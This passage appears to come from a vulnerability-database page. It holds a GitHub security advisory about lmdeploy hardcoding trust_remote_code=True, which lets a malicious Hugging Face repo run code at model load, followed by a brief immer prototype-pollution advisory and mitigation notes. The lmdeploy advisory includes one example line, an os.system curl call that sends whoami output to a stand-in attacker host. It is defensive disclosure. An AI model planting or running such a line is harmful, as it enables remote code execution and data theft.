`configuration_*.py` shim runs Python code as the\nLMDeploy user at the very first call to `get_model_arch(...)`.\n\nThis is a documented anti-pattern (see HF Hub docs:\n\"Trusting custom code is therefore tricky...\"). Multiple peer\nprojects fixed similar issues \u2014 e.g. Hugging Face Transformers\nitself made this opt-in by default, and `vllm` exposes the flag\nthrough `--trust-remote-code` rather than hardcoding it.\n\n## Affected version\n\n* Repository: `github.com/InternLM/lmdeploy`, branch `main`.\n* Branch SHA at audit time: `9df0eff7c38ae69b9d4b9f7ad1441e484d439f92`\n (2026-05-02).\n* Pinned blob SHAs:\n * `lmdeploy/archs.py` \u2192 `68fa03a407734be1e2ae04098d34e9acdbe98262`\n * `lmdeploy/lite/apis/calibrate.py` \u2192\n `0728304bdc3c03eee1d790bfbd5496df080a0ecd`\n * `lmdeploy/lite/utils/load.py` \u2192\n `7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120`\n * `lmdeploy/pytorch/check_env/model.py` \u2192\n `b1a2daaa426bf5fe25030f7913c703eed9f5b261`\n\nSnapshots of all four files are in `source_pinned/`.\n\n## Source-level evidence\n\n### Site 1 \u2014 architecture detection (every load goes through here)\n\n`lmdeploy/archs.py:147-157` \u2014 `get_model_arch`:\n```python\ndef get_model_arch(model_path: str):\n \"\"\"Get a model\u0027s architecture and configuration.\"\"\"\n try:\n cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)\n except Exception as e: # noqa\n from transformers import PretrainedConfig\n cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)\n```\n\n**Both** the primary path and the fallback hardcode\n`trust_remote_code=True`. There is no parameter to override it. This\nfunction is called from every model-loading path in lmdeploy.\n\n### Site 2 \u2014 quantization CLI\n\n`lmdeploy/lite/apis/calibrate.py:248-251`:\n```python\ntokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)\n...\nmodel = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)\n```\n\n`lmdeploy lite calibrate \u003crepo\u003e` and downstream quant CLIs (gptq,\nawq) all flow through this. Hardcoded.\n\n### Site 3 \u2014 calibration helper\n\n`lmdeploy/lite/utils/load.py:55`:\n```python\ndef load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):\n ...\n hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)\n```\n\nEven if the caller does not pass `trust_remote_code=True` in\n`**kwargs`, the helper internally hardcodes it on the config call\n(line 55), then loads the model on line 74. The config call alone is\nsufficient for RCE: HF Transformers downloads `configuration_*.py`\nfrom the repo and `import`s it whenever `trust_remote_code=True`.\n\n### Site 4 \u2014 pytorch engine check\n\n`lmdeploy/pytorch/check_env/model.py:10,99,234,242` \u2014\n`trust_remote_code: bool = True` is the default value for the engine\u0027s\nparameter. Unlike the three sites above, this is \"default true\" not\n\"hardcoded true\" \u2014 a determined caller can pass False \u2014 but every\nshipped CLI passes True or relies on the default.\n\n### What `trust_remote_code=True` actually enables\n\nWhen `AutoConfig.from_pretrained(repo, trust_remote_code=True)` is\ncalled and the repo\u0027s `config.json` contains an `auto_map` key\npointing to a custom `configuration_\u003cname\u003e.py`:\n\n1. HF Transformers downloads the `.py` file from the repo.\n2. HF imports the module via `importlib`, **executing the file\u0027s\n top-level code** (any `print`, `os.system`, `subprocess.run`,\n `urllib.request.urlopen`, etc. fires now).\n3. HF then instantiates the named class.\n\nSo a malicious repo only needs a top-level\n`os.system(\"curl https://attacker/?$(whoami)\")` in\n`configuration_evil.py`. It runs as the lmdeploy process user.\n\n## Threat model\n\n**Attack surface.** Any user who runs an lmdeploy CLI command against\na HuggingFace repo identifier they did not personally vet. This\nincludes:\n\n* Casual users following a tutorial that says\n `lmdeploy serve api_server \u003csome_repo\u003e`.\n* CI pipelines that automatically pull a model from HF Hub by\n configuration (e.g. updates to a non-Pinned version tag).\n* Researchers comparing models from many authors. Even running\n `lmdeploy lite calibrate` for benchmarking is enough.\n\nThe user is **not warned** that arbitrary Python from the repo will\nexecute, and there is **no flag** to disable it. The CVE class is\nCWE-94 (Improper Control of Generation of Code, supply-chain\nflavour) and CWE-915 (Improperly Controlled Modification of\nDynamically-Determined Object Attributes).\n\n## Comparison to peer projects\n\n| Project | trust_remote_code default | User control |\n|---|---|---|\n| HuggingFace Transformers | False | `trust_remote_code` keyword arg |\n| vLLM | False | `--trust-remote-code` flag |\n| **LMDeploy** | **True (hardcoded)** | **None** |\n| TGI | False | `--trust-remote-code` flag |\n\nLMDeploy is the outlier. The rationale is presumably \"internal\nmodels like InternLM need custom configuration_*.py\", but the fix is\nto accept a CLI flag like `--trust-remote-code` and default-False as\nthe rest of the ecosystem does.\n\n## Severity\n\nCVSS v3.1 `AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` \u2014 **Base 7.8 High**.\n\n* AV:L \u2014 local (the user runs lmdeploy on their own host).\n* AC:L \u2014 single command.\n* PR:N \u2014 no privilege.\n* UI:R \u2014 user must invoke lmdeploy with the malicious repo. Minor\n qualifier: many users will type `lmdeploy serve api_server \u003crepo\u003e`\n trusting that lmdeploy implements basic safety.\n* C:H, I:H, A:H \u2014 full RCE on the user\u0027s machine; can read\n ~/.aws/credentials, exfiltrate data, persist, etc.\n\nIf the lmdeploy host is a multi-tenant inference platform (e.g. a\ncloud provider running lmdeploy as a service for multiple paying\ncustomers), the attack changes shape: any tenant who can pin a\ncustom model name in their tenancy gets RCE on the inference host\nand **scope changes to S:C** with cross-tenant impact. CVSS rises\nto 9.6+. We are **not** claiming this dimension here without\nruntime evidence; just flagging it for triage.\n\n## Suggested fix\n\nReplace every hardcoded `trust_remote_code=True` with an explicit\nopt-in via CLI flag:\n\n```python\n# lmdeploy/archs.py \u2014 get_model_arch\ndef get_model_arch(model_path: str, trust_remote_code: bool = False):\n try:\n cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n except Exception as e: # noqa\n from transformers import PretrainedConfig\n cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)\n```\n\nWire `trust_remote_code` through every call site. Add `--trust-remote-code`\nto lmdeploy\u0027s CLI parser and forward it from server / calibrate /\ngptq / etc. **Default False**.\n\nA patch fragment is in `patch.diff`.\n\n## Disclosure plan\n\n1. Submit privately via lmdeploy security contact (typically email or\n GitHub Security Advisory at\n `https://github.com/InternLM/lmdeploy/security/advisories/new`).\n2. Reference Hugging Face Transformers\u0027 historical opt-out \u2192 opt-in\n change as precedent for the fix shape.\n3. 90-day coordinated-disclosure window starting from acknowledgement.\n4. Request CVE through GHSA flow once the patch lands.\n\n## Why static-only is sufficient here\n\nUnlike F11 (RCE chain through `_load_pt_file`) which required a\nruntime PoC to demonstrate the pickle gadget execution, this finding\nis a **single trust-flag flip** \u2014 the behaviour of\n`AutoConfig.from_pretrained(repo, trust_remote_code=True)` on a HF\nrepo with a malicious `configuration_*.py` is documented behaviour of\nHF Transformers itself (their own docs warn against it). Reproducing\nit adds no new evidence; the static flag-state is the bug.\n\nIf the vendor requests a runtime PoC during triage we will provide\none (a malicious HF repo with `configuration_evil.py` + a one-liner\n`lmdeploy lite calibrate \u003crepo\u003e` invocation), but holding it back from\nthe initial advisory avoids publishing a working exploit during the\ndisclosure window.",
"id": "GHSA-9xq9-36w5-q796",
"modified": "2026-08-31T14:33:46Z",
"published": "2026-05-21T19:33:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-9xq9-36w5-q796"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-46517"
},
{
"type": "WEB",
"url": "https://github.com/github/advisory-database/pull/4511"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/commit/81be52961aa324fd5cd3cacebffba1ba051bc107"
},
{
"type": "PACKAGE",
"url": "https://github.com/InternLM/lmdeploy"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/blob/v0.13.0/lmdeploy/version.py"
},
{
"type": "WEB",
"url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.13.0"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/lmdeploy/PYSEC-2026-2608.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}
GHSA-C36V-FMGQ-M8HX
Vulnerability from github – Published: 2021-09-07 22:57 – Updated: 2024-04-25 22:09immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution').
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "immer"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "9.0.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2021-3757"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2021-09-03T20:17:21Z",
"nvd_published_at": "2021-09-02T12:15:00Z",
"severity": "HIGH"
},
"details": "immer is vulnerable to Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027).",
"id": "GHSA-c36v-fmgq-m8hx",
"modified": "2024-04-25T22:09:12Z",
"published": "2021-09-07T22:57:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3757"
},
{
"type": "WEB",
"url": "https://github.com/immerjs/immer/commit/fa671e55ee9bd42ae08cc239102b665a23958237"
},
{
"type": "PACKAGE",
"url": "https://github.com/immerjs/immer"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/23d38099-71cd-42ed-a77a-71e68094adfa"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Prototype Pollution in immer"
}
Mitigation
- If available, use features of the language or framework that allow specification of allowlists of attributes or fields that are allowed to be modified. If possible, prefer allowlists over denylists.
- For applications written with Ruby on Rails, use the attr_accessible (allowlist) or attr_protected (denylist) macros in each class that may be used in mass assignment.
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of internal object attributes or fields that are allowed to be modified.
Mitigation
Strategy: Refactoring
Refactor the code so that object attributes or fields do not need to be dynamically identified, and only expose getter/setter functionality for the intended attributes.
No CAPEC attack patterns related to this CWE.